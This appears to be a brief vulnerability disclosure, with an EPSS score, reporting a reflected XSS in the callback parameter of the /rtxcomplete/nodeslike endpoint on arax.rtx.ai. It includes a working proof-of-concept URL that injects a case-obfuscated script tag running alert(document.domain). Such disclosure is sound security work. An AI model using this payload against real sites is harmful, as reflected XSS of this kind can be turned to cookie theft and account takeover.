0.001 Low
EPSS
Percentile
30.0%
hello team, i found a reflected xss in /rtxcomplete/nodeslike via callback parameter
/rtxcomplete/nodeslike
callback
https://arax.rtx.ai/rtxcomplete/nodeslike?_=1651210002052&callback=%3CScRiPt%20%3Ealert(document.domain)%3C/ScRiPt%3E&limit=15&word=1